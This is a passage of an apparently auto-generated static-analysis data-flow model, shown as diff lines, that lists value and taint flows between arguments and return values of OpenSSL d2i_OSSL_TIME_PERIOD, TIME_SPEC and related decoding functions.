"Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_PERIOD", "(OSSL_TIME_PERIOD **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC", "(OSSL_TIME_SPEC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_ABSOLUTE", "(OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_DAY", "(OSSL_TIME_SPEC_DAY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_TIME_SPEC_MONTH", "(OSSL_TIME_SPEC_MONTH **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, 